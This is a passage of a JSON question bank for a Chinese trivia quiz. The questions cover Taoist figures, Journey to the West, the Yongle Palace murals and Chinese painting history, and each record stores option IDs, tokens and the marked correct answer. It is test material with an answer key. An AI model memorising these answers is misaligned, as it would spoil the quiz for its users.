16:48:17","status":"1"},{"questionId":"6001430912","questionIndex":"4","questionStem":"王重阳弟子丘处机被后世尊称为?","options":"[{\"optionId\":\"LcQSx0BQjze4tGyuzuBc8BrpNpOlPRKqsFf4\",\"optionDesc\":\"长生真人\"},{\"optionId\":\"LcQSx0BQjze4tGyuzuBc86KbV9nmR6oKFP3n\",\"optionDesc\":\"长春真人\"},{\"optionId\":\"LcQSx0BQjze4tGyuzuBc8ZKhW0k2jnH4n1TG\",\"optionDesc\":\"丹阳真人\"}]","questionToken":"LcQSx0BQjze4tGz53ahHoRpfn-h2_rFWufP2gKAzHR_1K_n1JCJC3m8kqlAOlaVDE7JHG184Y8R8qODly8anMDcRQm4vhA","correct":"{\"optionId\":\"LcQSx0BQjze4tGyuzuBc86KbV9nmR6oKFP3n\",\"optionDesc\":\"长春真人\"}","create_time":"2/2/2021 16:47:55","update_time":"2/2/2021 16:47:55","status":"1"},{"questionId":"6001430913","questionIndex":"4","questionStem":"西游记中,太上老君的哪位童子变成了妖精?","options":"[{\"optionId\":\"LcQSx0BQjze4tWyuzuBc8NzrFR_cxE120rNFUA\",\"optionDesc\":\"黄眉大王\"},{\"optionId\":\"LcQSx0BQjze4tWyuzuBc83kWaimXtdblbuyuLw\",\"optionDesc\":\"金角大王、银角大王\"},{\"optionId\":\"LcQSx0BQjze4tWyuzuBc8f6bmOw1Rw3tkOL2yA\",\"optionDesc\":\"红孩儿\"}]","questionToken":"LcQSx0BQjze4tWz53ahHoSkzcPixf7C0EIrWptPUjjoBugDJY3FlEwEKzVMjKYDG7TPfqSZXLLmC2Db0_SO5l_3qaU4Kow","correct":"{\"optionId\":\"LcQSx0BQjze4tWyuzuBc83kWaimXtdblbuyuLw\",\"optionDesc\":\"金角大王、银角大王\"}","create_time":"2/2/2021 16:47:40","update_time":"2/2/2021 16:47:40","status":"1"},{"questionId":"6001430914","questionIndex":"3","questionStem":"西游记中,孙悟空如何获得火眼金睛的?","options":"[{\"optionId\":\"LcQSx0BQjze4smyuzuBc8ZltAtmcZ7RljhQ\",\"optionDesc\":\"进入紫金红葫芦\"},{\"optionId\":\"LcQSx0BQjze4smyuzuBc8GjQUMeEM13R950\",\"optionDesc\":\"吃下仙丹\"},{\"optionId\":\"LcQSx0BQjze4smyuzuBc8xSsdAkiGHHOqWw\",\"optionDesc\":\"进入炼丹炉\"}]","questionToken":"LcQSx0BQjze4smz-3ahHoXkToQdPw2gMP5nCUm2wJuuLQiYGnrFg8F9XgzXC5hqjO_xwJAtQa7hj73XTMlLd12JIka_kgg","correct":"{\"optionId\":\"LcQSx0BQjze4smyuzuBc8xSsdAkiGHHOqWw\",\"optionDesc\":\"进入炼丹炉\"}","create_time":"2/2/2021 16:48:11","update_time":"2/2/2021 16:48:11","status":"1"},{"questionId":"6001430915","questionIndex":"5","questionStem":"下列哪个不是道教宗教建筑?","options":"[{\"optionId\":\"LcQSx0BQjze4s2yuzuBc838A4L7baBb5fc23\",\"optionDesc\":\"北京雍和宫\"},{\"optionId\":\"LcQSx0BQjze4s2yuzuBc8Bf79keiA44pDX4I\",\"optionDesc\":\"陕西西安重阳宫\"},{\"optionId\":\"LcQSx0BQjze4s2yuzuBc8f1bhGTnSVT7u2TB\",\"optionDesc\":\"山西芮城永乐宫\"}]","questionToken":"LcQSx0BQjze4s2z43ahHpn5ZvoQZrPKaxiJGUGmhRZ2Pq3jlxjQ3_GSUrTsM9aXewpzpk2mVUGEuZVg1G1EwoMDmJW5VZw","correct":"{\"optionId\":\"LcQSx0BQjze4s2yuzuBc838A4L7baBb5fc23\",\"optionDesc\":\"北京雍和宫\"}","create_time":"2/2/2021 16:48:40","update_time":"2/2/2021 16:48:40","status":"1"},{"questionId":"6001430916","questionIndex":"2","questionStem":"下列哪座名山不是道教名山?","options":"[{\"optionId\":\"LcQSx0BQjze4sGyuzuBc8ajZ9UhXzrw459SzCg\",\"optionDesc\":\"武当山\"},{\"optionId\":\"LcQSx0BQjze4sGyuzuBc8MQDejhLWA5rb7B9tA\",\"optionDesc\":\"龙虎山\"},{\"optionId\":\"LcQSx0BQjze4sGyuzuBc818TbTNQBm-4wtMDhQ\",\"optionDesc\":\"普陀山\"}]","questionToken":"LcQSx0BQjze4sGz_3ahHoeu0zvNHNjM72pUk4mXQ-98p5CTWx0wcVL7_Abb9brWJAhPlUEx14FbET9O1Dci7CKyFaSzKhg","correct":"{\"optionId\":\"LcQSx0BQjze4sGyuzuBc818TbTNQBm-4wtMDhQ\",\"optionDesc\":\"普陀山\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"6001430917","questionIndex":"3","questionStem":"金庸小说中,王重阳在哪修为一代宗师的?","options":"[{\"optionId\":\"LcQSx0BQjze4sWyuzuBc8Itt10k_WFX_pjjmlw\",\"optionDesc\":\"青城山\"},{\"optionId\":\"LcQSx0BQjze4sWyuzuBc8SU3j--mC2X1yPWQng\",\"optionDesc\":\"武当山\"},{\"optionId\":\"LcQSx0BQjze4sWyuzuBc821WvxhnMYHlTei_2g\",\"optionDesc\":\"终南山\"}]","questionToken":"LcQSx0BQjze4sWz-3ahHpo_S_msuzFWEAqWFrbFrgyEYmByj1Aq-olNwtuhCA5kh5hyu5CVb3e0OypOuCuw3cOPTWEEj3g","correct":"{\"optionId\":\"LcQSx0BQjze4sWyuzuBc821WvxhnMYHlTei_2g\",\"optionDesc\":\"终南山\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"6001430918","questionIndex":"3","questionStem":"在道教中,相传太上老君在人间的化身是?","options":"[{\"optionId\":\"LcQSx0BQjze4vmyuzuBc8d9nl6MYl0LAhcg1\",\"optionDesc\":\"惠子\"},{\"optionId\":\"LcQSx0BQjze4vmyuzuBc8EUBODE07iAjs9F7\",\"optionDesc\":\"庄子\"},{\"optionId\":\"LcQSx0BQjze4vmyuzuBc8xWDVpzIsYAfd1pH\",\"optionDesc\":\"老子\"}]","questionToken":"LcQSx0BQjze4vmz-3ahHoWmO2jjJ8NvDx1yvvEAE7qCFO2lFbMK02PoUQyg-8LcQFOOl_kFH0QYOAXWgo0PR2ra82hsSKg","correct":"{\"optionId\":\"LcQSx0BQjze4vmyuzuBc8xWDVpzIsYAfd1pH\",\"optionDesc\":\"老子\"}","create_time":"2/2/2021 16:47:54","update_time":"2/2/2021 16:47:54","status":"1"},{"questionId":"6001430919","questionIndex":"1","questionStem":"在道教中,道士去世被委婉地称作?","options":"[{\"optionId\":\"LcQSx0BQjze4v2yuzuBc8YvCbQLo2Nt3Itrt\",\"optionDesc\":\"涅槃\"},{\"optionId\":\"LcQSx0BQjze4v2yuzuBc8FLtQKWeaBkgMeQU\",\"optionDesc\":\"升天\"},{\"optionId\":\"LcQSx0BQjze4v2yuzuBc84GCUPSN7G7PtrxP\",\"optionDesc\":\"羽化\"}]","questionToken":"LcQSx0BQjze4v2z83ahHoWPqz0LMQefhtgrq_vpZXi8Qy8qUUmP6xPCYITXqO8UYNAR1wHEednODz-vNipr20OMxxE-lOA","correct":"{\"optionId\":\"LcQSx0BQjze4v2yuzuBc84GCUPSN7G7PtrxP\",\"optionDesc\":\"羽化\"}","create_time":"2/2/2021 16:47:34","update_time":"2/2/2021 16:47:34","status":"1"},{"questionId":"6001430920","questionIndex":"5","questionStem":"以下哪处文化遗产中没有壁画?","options":"[{\"optionId\":\"LcQSx0BQjze7tmyuzuBc8wV-QSAr-7kAbU0z\",\"optionDesc\":\"马王堆汉墓\"},{\"optionId\":\"LcQSx0BQjze7tmyuzuBc8CZeQ1HXtqQjoj71\",\"optionDesc\":\"敦煌莫高窟\"},{\"optionId\":\"LcQSx0BQjze7tmyuzuBc8bFant1xlQ-If8Yy\",\"optionDesc\":\"永乐宫\"}]","questionToken":"LcQSx0BQjze7tmz43ahHpvJDN6SOfGYuxL0R2-se8X8H3RZ5sb6RtfQt8ee8XyIWkSQ4k3RRqMQHKEmppA5QsspCaCbrUg","correct":"{\"optionId\":\"LcQSx0BQjze7tmyuzuBc8wV-QSAr-7kAbU0z\",\"optionDesc\":\"马王堆汉墓\"}","create_time":"2/2/2021 16:48:11","update_time":"2/2/2021 16:48:11","status":"1"},{"questionId":"6001430921","questionIndex":"4","questionStem":"传统壁画中的石绿色是哪种矿石研磨得到的?","options":"[{\"optionId\":\"LcQSx0BQjze7t2yuzuBc8MTxg-gS00Kjp6M\",\"optionDesc\":\"黑曜石\"},{\"optionId\":\"LcQSx0BQjze7t2yuzuBc8Q7iYYpD2DxN2xA\",\"optionDesc\":\"青金石\"},{\"optionId\":\"LcQSx0BQjze7t2yuzuBc89XOtUS3XQ_rFCg\",\"optionDesc\":\"绿松石\"}]","questionToken":"LcQSx0BQjze7t2z53ahHpmAsFf8nQxeGC389PxHXOQXCssBAptHw6pOH9zcL1q-Lrj1lrHPqt5j46hN5IK8gNhokjliflA","correct":"{\"optionId\":\"LcQSx0BQjze7t2yuzuBc89XOtUS3XQ_rFCg\",\"optionDesc\":\"绿松石\"}","create_time":"2/2/2021 16:47:39","update_time":"2/2/2021 16:47:39","status":"1"},{"questionId":"6001430922","questionIndex":"4","questionStem":"永乐宫壁画中不包括以下哪种颜色?","options":"[{\"optionId\":\"LcQSx0BQjze7tGyuzuBc8J_fxZ_Am6LXVA\",\"optionDesc\":\"石绿\"},{\"optionId\":\"LcQSx0BQjze7tGyuzuBc89TaoPmxyiGv9w\",\"optionDesc\":\"钛白\"},{\"optionId\":\"LcQSx0BQjze7tGyuzuBc8b4kOiabl6NhtA\",\"optionDesc\":\"朱砂\"}]","questionToken":"LcQSx0BQjze7tGz53ahHochITXdbHjFENp5gnnzCY7daCjrkV4R_G2wFnJDNExCOG7FX_DK2udeVx-XdsxczvcqFVzO7tA","correct":"{\"optionId\":\"LcQSx0BQjze7tGyuzuBc89TaoPmxyiGv9w\",\"optionDesc\":\"钛白\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 16:47:35","status":"1"},{"questionId":"6001430923","questionIndex":"3","questionStem":"永乐宫壁画中不包括哪个内容?","options":"[{\"optionId\":\"LcQSx0BQjze7tWyuzuBc8Ux9cU5UvrQ7s5c\",\"optionDesc\":\"瑞兽\"},{\"optionId\":\"LcQSx0BQjze7tWyuzuBc8z5jlBav8_XWTJQ\",\"optionDesc\":\"战争\"},{\"optionId\":\"LcQSx0BQjze7tWyuzuBc8LhI6lj3ODPQbJg\",\"optionDesc\":\"宴饮\"}]","questionToken":"LcQSx0BQjze7tWz-3ahHoX4W2wGzTbD9WSl9VAu4Kywx8vCsGpyufLZl0YbrmMNrUHEVMWhsKXnFbuxIChCbHcZ3VHcu8w","correct":"{\"optionId\":\"LcQSx0BQjze7tWyuzuBc8z5jlBav8_XWTJQ\",\"optionDesc\":\"战争\"}","create_time":"2/2/2021 16:47:58","update_time":"2/2/2021 16:47:58","status":"1"},{"questionId":"6001430924","questionIndex":"4","questionStem":"请问中国单幅面积最大的壁画是?","options":"[{\"optionId\":\"LcQSx0BQjze7smyuzuBc8Xby20mKGCV7TFDA\",\"optionDesc\":\"《鹿王本生图》\"},{\"optionId\":\"LcQSx0BQjze7smyuzuBc8FthRYpJviyTom7-\",\"optionDesc\":\"《五台山图》\"},{\"optionId\":\"LcQSx0BQjze7smyuzuBc83RWfdMGlFsIprBW\",\"optionDesc\":\"《朝元图》\"}]","questionToken":"LcQSx0BQjze7smz53ahHpj1FJazKMJ_rvyytvoExJRVuVGQPHuKMw07FfeZYxgaWlDIpQmvm9A9WjSGpb_HaMwtGRB8vPA","correct":"{\"optionId\":\"LcQSx0BQjze7smyuzuBc83RWfdMGlFsIprBW\",\"optionDesc\":\"《朝元图》\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"6001430925","questionIndex":"3","questionStem":"哪位画家的风格没有对永乐宫壁画产生影响?","options":"[{\"optionId\":\"LcQSx0BQjze7s2yuzuBc8GiLYyd3G7pzW_sw\",\"optionDesc\":\"吴道子\"},{\"optionId\":\"LcQSx0BQjze7s2yuzuBc8c626FYE7bXXoTNj\",\"optionDesc\":\"顾恺之\"},{\"optionId\":\"LcQSx0BQjze7s2yuzuBc83o2ycD7czWk0IhL\",\"optionDesc\":\"唐伯虎\"}]","questionToken":"LcQSx0BQjze7s2z-3ahHoWZbJWFuO_dORka5cn3gAR8ZAMl6R7e5r3x2Hu8y86x4cMMkt_tesBd-lSFxGmTPOZAKrpfXkw","correct":"{\"optionId\":\"LcQSx0BQjze7s2yuzuBc83o2ycD7czWk0IhL\",\"optionDesc\":\"唐伯虎\"}","create_time":"2/2/2021 16:47:40","update_time":"2/2/2021 16:47:40","status":"1"},{"questionId":"6001430926","questionIndex":"1","questionStem":"永乐宫壁画主要完成于哪个朝代?","options":"[{\"optionId\":\"LcQSx0BQjze7sGyuzuBc8KWj8u8UIbHXhw\",\"optionDesc\":\"宋朝\"},{\"optionId\":\"LcQSx0BQjze7sGyuzuBc8zu455HStdWjLQ\",\"optionDesc\":\"元朝\"},{\"optionId\":\"LcQSx0BQjze7sGyuzuBc8YqnK-b9oHJh1g\",\"optionDesc\":\"唐朝\"}]","questionToken":"LcQSx0BQjze7sGz83ahHob6Lpp_JNqVQXx6CQIg8lAb9AbGkqACsEMY5CfIGWv1FLe3QRDGT6TVngz6Q51x7R-_iXQcGlQ","correct":"{\"optionId\":\"LcQSx0BQjze7sGyuzuBc8zu455HStdWjLQ\",\"optionDesc\":\"元朝\"}","create_time":"2/2/2021 16:47:34","update_time":"2/2/2021 16:47:34","status":"1"},{"questionId":"6001430927","questionIndex":"2","questionStem":"被尊称画圣的中国画家是?","options":"[{\"optionId\":\"LcQSx0BQjze7sWyuzuBc8RuVjUZKiIT_tg\",\"optionDesc\":\"顾恺之\"},{\"optionId\":\"LcQSx0BQjze7sWyuzuBc88mowLX0zNvmaA\",\"optionDesc\":\"吴道子\"},{\"optionId\":\"LcQSx0BQjze7sWyuzuBc8Du9zMwIesNBmg\",\"optionDesc\":\"赵佶\"}]","questionToken":"LcQSx0BQjze7sWz_3ahHofIlY-SULJM62Sr-E5XiQOD0OasL4bPMjdPoFGXfDPfwWfCKevH77oF5kJ8MUZhN6ifCBAw_YA","correct":"{\"optionId\":\"LcQSx0BQjze7sWyuzuBc88mowLX0zNvmaA\",\"optionDesc\":\"吴道子\"}","create_time":"2/2/2021 16:48:09","update_time":"2/2/2021 16:48:09","status":"1"},{"questionId":"6001430928","questionIndex":"5","questionStem":"被称作“书画皇帝”的北宋皇帝是?","options":"[{\"optionId\":\"LcQSx0BQjze7vmyuzuBc8bFrllyIPOvbDTrE7A\",\"optionDesc\":\"宋仁宗\"},{\"optionId\":\"LcQSx0BQjze7vmyuzuBc86Q30rlXx8YBW0HSGA\",\"optionDesc\":\"宋徽宗\"},{\"optionId\":\"LcQSx0BQjze7vmyuzuBc8BJ-pHJDyy0x8me_1w\",\"optionDesc\":\"宋哲宗\"}]","questionToken":"LcQSx0BQjze7vmz43ahHpqMPxbjfytGqVz8Lhwz-nUdZkBpJB_Jfx5oJxkTWZYw21T7xyfDAPuoxGDPce10Frl9ZcgnKgA","correct":"{\"optionId\":\"LcQSx0BQjze7vmyuzuBc86Q30rlXx8YBW0HSGA\",\"optionDesc\":\"宋徽宗\"}","create_time":"2/2/2021 16:47:33","update_time":"2/2/2021 16:47:33","status":"1"},{"questionId":"6001430929","questionIndex":"2","questionStem":"中国宗教壁画中,头像背后的光圈被称作?","options":"[{\"optionId\":\"LcQSx0BQjze7v2yuzuBc8OkTaOOC5T2j9OcpqQ\",\"optionDesc\":\"光轮\"},{\"optionId\":\"LcQSx0BQjze7v2yuzuBc8QvjQBNHKJ5rPKaABw\",\"optionDesc\":\"背光\"},{\"optionId\":\"LcQSx0BQjze7v2yuzuBc81z89PSybsmaP5QaoA\",\"optionDesc\":\"头光\"}]","questionToken":"LcQSx0BQjze7v2z_3ahHpqwD5LOHD28LG850S2If5paHnu3d31huvow_eFcbnHmdW1yoq5dmvMbqd77_QN3AluiwwEa_7w","correct":"{\"optionId\":\"LcQSx0BQjze7v2yuzuBc81z89PSybsmaP5QaoA\",\"optionDesc\":\"头光\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6001430930","questionIndex":"2","questionStem":"永乐宫壁画属于什么主题的绘画?","options":"[{\"optionId\":\"LcQSx0BQjze6tmyuzuBc8SL0ee0Muv-yeF3eHg\",\"optionDesc\":\"花鸟画\"},{\"optionId\":\"LcQSx0BQjze6tmyuzuBc8GRJNbT5RKzMf5aZYg\",\"optionDesc\":\"文人画\"},{\"optionId\":\"LcQSx0BQjze6tmyuzuBc8-jps3KL2QoTBYethQ\",\"optionDesc\":\"宗教绘画\"}]","questionToken":"LcQSx0BQjze6tmz_3ahHoXg8wd7iHH7xF5E-xlhHjKKxRqlQ3AONJcruI1FYSoA2ply16eq0nIIrxQs-UsEIBOxfyz3Bbg","correct":"{\"optionId\":\"LcQSx0BQjze6tmyuzuBc8-jps3KL2QoTBYethQ\",\"optionDesc\":\"宗教绘画\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"6001430931","questionIndex":"4","questionStem":"永乐宫壁画展现了哪个时代人们的生活?","options":"[{\"optionId\":\"LcQSx0BQjze6t2yuzuBc8fYQWgLbdtiG5iWR7w\",\"optionDesc\":\"隋唐时期\"},{\"optionId\":\"LcQSx0BQjze6t2yuzuBc8PpzzylEtcUaQPoa3g\",\"optionDesc\":\"明清时期\"},{\"optionId\":\"LcQSx0BQjze6t2yuzuBc80KO8Lg2KX9IOMWrsw\",\"optionDesc\":\"宋元时期\"}]","questionToken":"LcQSx0BQjze6t2z53ahHoTHm56rfcmjBO7VxbSRPMSqD2hd_SLOEwqjTnXculTds3QEwzg_OxznnQhxspYpGsPN_RWPs1g","correct":"{\"optionId\":\"LcQSx0BQjze6t2yuzuBc80KO8Lg2KX9IOMWrsw\",\"optionDesc\":\"宋元时期\"}","create_time":"2/2/2021 16:48:01","update_time":"2/2/2021 16:48:01","status":"1"},{"questionId":"6001430932","questionIndex":"2","questionStem":"以下哪种艺术形式不属于中国传统绘画?","options":"[{\"optionId\":\"LcQSx0BQjze6tGyuzuBc8dpgum6-L-mLBtAzQA\",\"optionDesc\":\"壁画\"},{\"optionId\":\"LcQSx0BQjze6tGyuzuBc8MQ8LIpS3PA1aSS9Ww\",\"optionDesc\":\"绢画\"},{\"optionId\":\"LcQSx0BQjze6tGyuzuBc852hN01mqK7yIQyPsQ\",\"optionDesc\":\"蛋彩画\"}]","questionToken":"LcQSx0BQjze6tGz_3ahHpktU0BZvQM72aAyzzw4_Uoodt4VM_i7_HUZkGCz0qWoqe4MSfC1tc-m23UG2aIgJAL7tb4Nsog","correct":"{\"optionId\":\"LcQSx0BQjze6tGyuzuBc852hN01mqK7yIQyPsQ\",\"optionDesc\":\"蛋彩画\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6001430933","questionIndex":"3","questionStem":"以下哪幅中国宗教绘画作品是道教神仙主题?","options":"[{\"optionId\":\"LcQSx0BQjze6tWyuzuBc89rKHpfMM0M5JLd3wg\",\"optionDesc\":\"《八十七神仙卷》\"},{\"optionId\":\"LcQSx0BQjze6tWyuzuBc8ZaBUbyUhUwWsCEWIw\",\"optionDesc\":\"《送子天王图》\"},{\"optionId\":\"LcQSx0BQjze6tWyuzuBc8BGwKuYLQVGxwoEYLg\",\"optionDesc\":\"《维摩诘经变图》\"}]","questionToken":"LcQSx0BQjze6tWz-3ahHpkuurEM-R1ZNGoxI-wp9ZIi5DDtdd1l9hx3ccvSbVANBSTKqguCcYAtNIoeYCXJcprJzc0QU1Q","correct":"{\"optionId\":\"LcQSx0BQjze6tWyuzuBc89rKHpfMM0M5JLd3wg\",\"optionDesc\":\"《八十七神仙卷》\"}","create_time":"2/2/2021 16:48:07","update_time":"2/2/2021 16:48:07","status":"1"},{"questionId":"6001430934","questionIndex":"1","questionStem":"被称作中国青绿山水画的巅峰之作是?","options":"[{\"optionId\":\"LcQSx0BQjze6smyuzuBc8RtQEijemi8H_SNK\",\"optionDesc\":\"《富春山居图》\"},{\"optionId\":\"LcQSx0BQjze6smyuzuBc881kWtiyENGLGDz7\",\"optionDesc\":\"《千里江山图》\"},{\"optionId\":\"LcQSx0BQjze6smyuzuBc8IQmI5QUaZfo_Cqk\",\"optionDesc\":\"《溪山行旅图》\"}]","questionToken":"LcQSx0BQjze6smz83ahHpuv6dyjTSVpK-Kmvom1tyr4HsKz9-yINUqNio3w3Pkra46lIIMx2HwTlLO65StR1ui5EmFcVIg","correct":"{\"optionId\":\"LcQSx0BQjze6smyuzuBc881kWtiyENGLGDz7\",\"optionDesc\":\"《千里江山图》\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 16:47:35","status":"1"},{"questionId":"6001430935","questionIndex":"2","questionStem":"中国壁画最多的文化遗产是?","options":"[{\"optionId\":\"LcQSx0BQjze6s2yuzuBc8XLSGQHVBOl9beya\",\"optionDesc\":\"永乐宫\"},{\"optionId\":\"LcQSx0BQjze6s2yuzuBc8_YBFyCG1SMvZZi5\",\"optionDesc\":\"莫高窟\"},{\"optionId\":\"LcQSx0BQjze6s2yuzuBc8D2qi7gdzWV5fMru\",\"optionDesc\":\"云冈石窟\"}]","questionToken":"LcQSx0BQjze6s2z_3ahHoT-LXxuBD6JRcwQmjSw8GuyDBFx-YWzRWgSvpC4116ohaSbB02ahVrQpk2y9qeTmSeNFgbIIRQ","correct":"{\"optionId\":\"LcQSx0BQjze6s2yuzuBc8_YBFyCG1SMvZZi5\",\"optionDesc\":\"莫高窟\"}","create_time":"2/2/2021 16:47:57","update_time":"2/2/2021 16:47:57","status":"1"},{"questionId":"6001430936","questionIndex":"4","questionStem":"绘画的三原色是?","options":"[{\"optionId\":\"LcQSx0BQjze6sGyuzuBc87ZtJ2hVqV_kdclP\",\"optionDesc\":\"红、黄、蓝\"},{\"optionId\":\"LcQSx0BQjze6sGyuzuBc8Ln0iiR-c2OITah_\",\"optionDesc\":\"绿、红、橙\"},{\"optionId\":\"LcQSx0BQjze6sGyuzuBc8eHBhBeMIevWNlcY\",\"optionDesc\":\"橙、绿、紫\"}]","questionToken":"LcQSx0BQjze6sGz53ahHobiVzXd8eR5uX2J7AT0HttouXlBC6ke09iurmpKrU32cY84vn6t3OGpxFEjonfsys1r3WZ8dfQ","correct":"{\"optionId\":\"LcQSx0BQjze6sGyuzuBc87ZtJ2hVqV_kdclP\",\"optionDesc\":\"红、黄、蓝\"}","create_time":"2/2/2021 16:47:41","update_time":"2/2/2021 16:47:41","status":"1"},{"questionId":"6001430937","questionIndex":"3","questionStem":"中国画中“四君子画”的“四君子”是指?","options":"[{\"optionId\":\"LcQSx0BQjze6sWyuzuBc88KvgspdR1MLU6Zx\",\"optionDesc\":\"梅、兰、竹、菊\"},{\"optionId\":\"LcQSx0BQjze6sWyuzuBc8IjxdAF1G3LmQL3j\",\"optionDesc\":\"梅、兰、桃、菊\"},{\"optionId\":\"LcQSx0BQjze6sWyuzuBc8XIy2MHjI5Bt2BCV\",\"optionDesc\":\"桃、兰、竹、菊\"}]","questionToken":"LcQSx0BQjze6sWz-3ahHoWkO9gwTZwOJQe3NnazklSj1Z-69Fn3KDu9D7R-61HEOugPlNpcqfyMvtRHnA1-ixsIHWDXdvQ","correct":"{\"optionId\":\"LcQSx0BQjze6sWyuzuBc88KvgspdR1MLU6Zx\",\"optionDesc\":\"梅、兰、竹、菊\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 16:47:35","status":"1"},{"questionId":"6001430938","questionIndex":"5","questionStem":"红色的对比色是?","options":"[{\"optionId\":\"LcQSx0BQjze6vmyuzuBc85vKxtJW3ORl2ETL\",\"optionDesc\":\"绿色\"},{\"optionId\":\"LcQSx0BQjze6vmyuzuBc8Smb6wvureBRNnb9\",\"optionDesc\":\"紫色\"},{\"optionId\":\"LcQSx0BQjze6vmyuzuBc8NqQo94UmQmMNzBc\",\"optionDesc\":\"黄色\"}]","questionToken":"LcQSx0BQjze6vmz43ahHpqXUiXOBv5o0ZILfBZLKe_yGf37KASwii1QT8wMMdMTUUTab6RBIenEanHxVUONSD22DSXjwMA","correct":"{\"optionId\":\"LcQSx0BQjze6vmyuzuBc85vKxtJW3ORl2ETL\",\"optionDesc\":\"绿色\"}","create_time":"2/2/2021 16:48:05","update_time":"2/2/2021 16:48:05","status":"1"},{"questionId":"6001430939","questionIndex":"1","questionStem":"中国古代著名绘画作品《洛神赋》的作者是?","options":"[{\"optionId\":\"LcQSx0BQjze6v2yuzuBc8Bnl6BAUgoiEaiD2\",\"optionDesc\":\"张僧繇\"},{\"optionId\":\"LcQSx0BQjze6v2yuzuBc8RkD_k-4bumJgaka\",\"optionDesc\":\"吴道子\"},{\"optionId\":\"LcQSx0BQjze6v2yuzuBc8z8ga2rQjF8XVoRL\",\"optionDesc\":\"顾恺之\"}]","questionToken":"LcQSx0BQjze6v2z83ahHphsUp4-v_d14RP7jfTvC-fuL4t59FlHBQgcZFLzvvoiCC-5wty-BqaJS3chu8NXFQxhoy1UAAQ","correct":"{\"optionId\":\"LcQSx0BQjze6v2yuzuBc8z8ga2rQjF8XVoRL\",\"optionDesc\":\"顾恺之\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 16:47:49","status":"1"},{"questionId":"6001430940","questionIndex":"2","questionStem":"描绘释迦摩尼前世故事的绘画作品被称作?","options":"[{\"optionId\":\"LcQSx0BQjze9tmyuzuBc8_ikb1Qh8FBrTP4\",\"optionDesc\":\"佛本生故事画\"},{\"optionId\":\"LcQSx0BQjze9tmyuzuBc8IrJQuRw8I9t-dA\",\"optionDesc\":\"经变画\"},{\"optionId\":\"LcQSx0BQjze9tmyuzuBc8eG7Fu6lPF6M0C8\",\"optionDesc\":\"水陆画\"}]","questionToken":"LcQSx0BQjze9tmz_3ahHoT9aeo-xr87CH0C2BcLYKSQc-oHJZLOjTxpRNhiAa_2AdcR4APmm5bxGsX5qBfJO1rqsjtclsw","correct":"{\"optionId\":\"LcQSx0BQjze9tmyuzuBc8_ikb1Qh8FBrTP4\",\"optionDesc\":\"佛本生故事画\"}","create_time":"2/2/2021 16:47:42","update_time":"2/2/2021 16:47:42","status":"1"},{"questionId":"6001430941","questionIndex":"3","questionStem":"以下哪种是中国传统绘画中描绘服饰的画法?","options":"[{\"optionId\":\"LcQSx0BQjze9t2yuzuBc86liIVs1UrzTVL0bsw\",\"optionDesc\":\"游丝描\"},{\"optionId\":\"LcQSx0BQjze9t2yuzuBc8W4ICcbSbRVyYHlaHg\",\"optionDesc\":\"披麻皴\"},{\"optionId\":\"LcQSx0BQjze9t2yuzuBc8PAW-5bDgBPxP7kBig\",\"optionDesc\":\"没骨画法\"}]","questionToken":"LcQSx0BQjze9t2z-3ahHpvJGDScMVr0zyIJBV1k7kKeRc1rReLHDX1IRFkIcgJP0CdD2QUfLpwRyl9h41d400m7M_pjthw","correct":"{\"optionId\":\"LcQSx0BQjze9t2yuzuBc86liIVs1UrzTVL0bsw\",\"optionDesc\":\"游丝描\"}","create_time":"2/2/2021 16:48:08","update_time":"2/2/2021 16:48:08","status":"1"},{"questionId":"6001430942","questionIndex":"5","questionStem":"请问以下哪位是元代画家?","options":"[{\"optionId\":\"LcQSx0BQjze9tGyuzuBc8Axu5jMAmiJvP3X0lw\",\"optionDesc\":\"马远\"},{\"optionId\":\"LcQSx0BQjze9tGyuzuBc85hij4DWwRfkmwLJDQ\",\"optionDesc\":\"赵孟頫\"},{\"optionId\":\"LcQSx0BQjze9tGyuzuBc8Z9NrOYlOO1XUNSVjA\",\"optionDesc\":\"赵佶\"}]","questionToken":"LcQSx0BQjze9tGz43ahHpuC1E9E7Eqnv7anIuASZ3q_Sgw8S4TiT2HaCKYPF3_SSMFXNGmPulsFDo0J3K-B_jWg7axAd7A","correct":"{\"optionId\":\"LcQSx0BQjze9tGyuzuBc85hij4DWwRfkmwLJDQ\",\"optionDesc\":\"赵孟頫\"}","create_time":"2/2/2021 16:48:29","update_time":"2/2/2021 16:48:29","status":"1"},{"questionId":"6001430943","questionIndex":"4","questionStem":"元代著名山水画《富春山居图》的作者是?","options":"[{\"optionId\":\"LcQSx0BQjze9tWyuzuBc8e8v4_bG9-B4YgE\",\"optionDesc\":\"赵孟頫 \"},{\"optionId\":\"LcQSx0BQjze9tWyuzuBc86bK-OfTiW-1pQg\",\"optionDesc\":\"黄公望\"},{\"optionId\":\"LcQSx0BQjze9tWyuzuBc8NiKxhdX3IN-v5s\",\"optionDesc\":\"倪瓒\"}]","questionToken":"LcQSx0BQjze9tWz53ahHoTzXRlZZh5lIZMkgqOHD89SUwtPmahms6PJiux8Z6o6HNZrqObUQvKMCzuOWO6JvMCY7GEVL9A","correct":"{\"optionId\":\"LcQSx0BQjze9tWyuzuBc86bK-OfTiW-1pQg\",\"optionDesc\":\"黄公望\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 